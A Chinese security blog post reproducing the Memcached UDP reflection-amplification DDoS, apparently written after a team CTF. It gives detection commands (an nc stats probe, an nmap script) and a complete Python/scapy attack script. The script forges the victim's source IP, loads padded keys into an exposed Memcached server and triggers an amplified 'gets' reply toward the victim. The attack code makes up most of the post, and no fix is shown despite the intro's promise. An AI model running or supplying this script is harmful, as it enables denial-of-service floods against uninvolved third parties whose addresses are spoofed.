Memcached UDP DOS复现

前言

最近都在研究安全相关的东西,刚好团队内部蹭着中秋节举办了一场CTF比赛,成功的吸入了一名全关通过的新血液。

我是做到第三关,通过 redis 写 shell 之后找到 shadow.bak 备份文件,但要爆破Linux密码。将提示中的字典下载,尝试爆破三四个之后我就放弃了,太费时了。

这篇先写 Memcache 的攻击和修复,下一章在复现完 redis 各种写 shell 之后在写。

事件及原理

Memcache UDP 反射放大攻击(Memcache DRDoS),在 2018-02-24 后开始爆发,其中 GitHub 遭受的攻击峰值流量达 1.35Tbps。

引起问题的原因是因为 Memcache 在启动时,会监听两个协议 TCP、UDP。而 UDP 的特性是一种无连接的协议,当数据发送之后,是无法得知它是否安全有效的到达。

因为没有握手过程,就可以轻易的伪造来源IP并发起攻击请求。

一图胜千言。

而攻击的原理,这里我也借一张图片来说明下。

攻击者伪造了一个被攻击者的IP,请求了可利用的 Memcache 服务器,服务器得到响应后将数据返还给被攻击者,从而形成了DDOS攻击。

验证及攻击

可以简单的用 NC 来验证下,发送 UDP 包看看是否存在返回数据。

注意UDP协议使用的时候,每个操作命令必须都要在数据包结构中加头部8字节标志位, “\x00\x00\x00\x00\x00\x01\x00\x00”。

echo -en '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n' | nc -u 127.0.0.1 11211

返回如下内容表示存在漏洞:

STAT pid 2206
STAT uptime 7958308
STAT time 1538045861
STAT version 1.4.13
STAT libevent 1.4.13-stable
STAT pointer_size 64
STAT rusage_user 329.452915
STAT rusage_system 706.604579
STAT curr_connections 14
...省略...

也可以用 nmap 的脚本检测是否存在未授权访问

$ nmap -Pn -p 11211 --script memcached-info 192.168.1.20x

PORT      STATE SERVICE   VERSION
11211/tcp open  memcached Memcached 1.4.13 (uptime 7958770 seconds)
| memcached-info:
|   Process ID: 2206
|   Uptime: 7958770 seconds
|   Server time: 2018-09-27T11:05:23
|   Architecture: 64 bit
|   Used CPU (user): 329.472912
|   Used CPU (system): 706.629575
|   Current connections: 15
|   Total connections: 1262697
|   Maximum connections: 1024
|   TCP Port: 11211
|   UDP Port: 11211
|_  Authentication: no

然后我花了半天的时间写了一个验证、攻击的 POC,自我感觉还是挺有意思的,熟悉了 scapy 库和 socket 库的使用方法,了解了一下 python 的网络编程。

payload

# -*- coding: utf-8 -*-
'''
author: xjiek2010<at>icloud.com
date: 2018-09-27

Memcached UDP 反射 DOS 检测及攻击脚本
'''

import sys, getopt, socket
from scapy.all import *


def main(argv):
    m_ip = ""
    d_ip = ""
    port = ""
    status = ""

    m_ip, port, status, d_ip = checkParameter(argv)
    print('[+] 验证 Memcache_ip :', m_ip, 'Memcache_port :', port)

    if status == 'check':
        checkAuto(m_ip, port)
    if status == 'boom':
        udpFlood(m_ip, port, d_ip)


'''
UDP反射攻击
m_ip:memcache的IP
port:memcache端口
d_ip:伪造的反射攻击IP
'''


def udpFlood(m_ip, port, d_ip):
    print('')
    if d_ip == "":
        print("[Error] 失败,目标地址不允许为空,缺失 -d 参数")
        exit()

    print('[boom!!!] 开始攻击!!!!')
    data = "A" * 1099
    i = 50  # 设置数和请求数
    keys = ""
    while i:
        keys += "test_udp" + str(i) + " "
        setData = ("\x00\x00\x00\x00\x00\x01\x00\x00set test_udp" + str(i) + " 0 3600 %s\r\n%s\r\n" % (len(data), data))
        send(IP(src=d_ip, dst=m_ip) / UDP(sport=5840, dport=int(port)) / Raw(load=setData), count=1)
        i = i - 1

    getdata = "\x00\x00\x00\x00\x00\x01\x00\x00gets " + keys + "\r\n"
    packet = (IP(src=d_ip, dst=m_ip) / UDP(sport=5840, dport=int(port)) / Raw(load=getdata))
    send(packet)


'''
用TCP验证是否存在未授权访问
'''


def checkAuto(m_ip, port):
    print('')
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(5)  # 超时时间
            s.connect((m_ip, int(port)))
            s.send(b'stats\r\n')
            data = s.recv(65565)
            # print('Received', str(data))  # 打印收到的数据
            if "STAT pid" in str(data):
                print('[+] 存在UDP反射DOS攻击!!!')
    except Exception:
        print('[Error] 失败,未开启memcached或已被修复...')
        exit()


'''
校验输入参数
'''


def checkParameter(argv):
    print('')
    m_ip = port = status = d_ip = ""
    try:
        opts, args = getopt.getopt(argv, "hi:p:s:d:", ["m_ip=", "port=", "status=", "d_ip="])
    except getopt.GetoptError:
        print('Error: memcamche_udp.py -i <Memcache_IP> -d <Flood_IP> -p <Memcache_PORT> -s <STATUS>')
        print('   or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8  --port=11211 --status check')
        print('   or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8  --port=11211 --status poc')
        sys.exit(2)

    for opt, arg in opts:
        if opt == "-h":
            print('    memcamche_udp.py -i <Memcache_IP> -d <Flood_IP> -p <Memcache_PORT> -s <STATUS>')
            print('or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8  --port=11211 --status check')
            sys.exit()
        elif opt in ("-i", "--m_ip"):
            m_ip = arg
        elif opt in ("-p", "--port"):
            port = arg
        elif opt in ("-s", "--status"):
            status = arg
        elif opt in ("-d", "--d_ip"):
            d_ip = arg

    return m_ip, port, status, d_ip


if __name__ == "__main__":
    main(sys.argv[1:])

监听一下流量:

tcpdump -ni eth0 port 11211 -t

udp2

udp2

参考

https://yq.aliyun.com/articles/509492?utm_content=m_43222

https://help.aliyun.com/knowledge_detail/37553.html

http://blog.nsfocus.net/memcache-unauthorized-access-exploit/

https://blog.csdn.net/rlnLo2pNEfx9c/article/details/79947990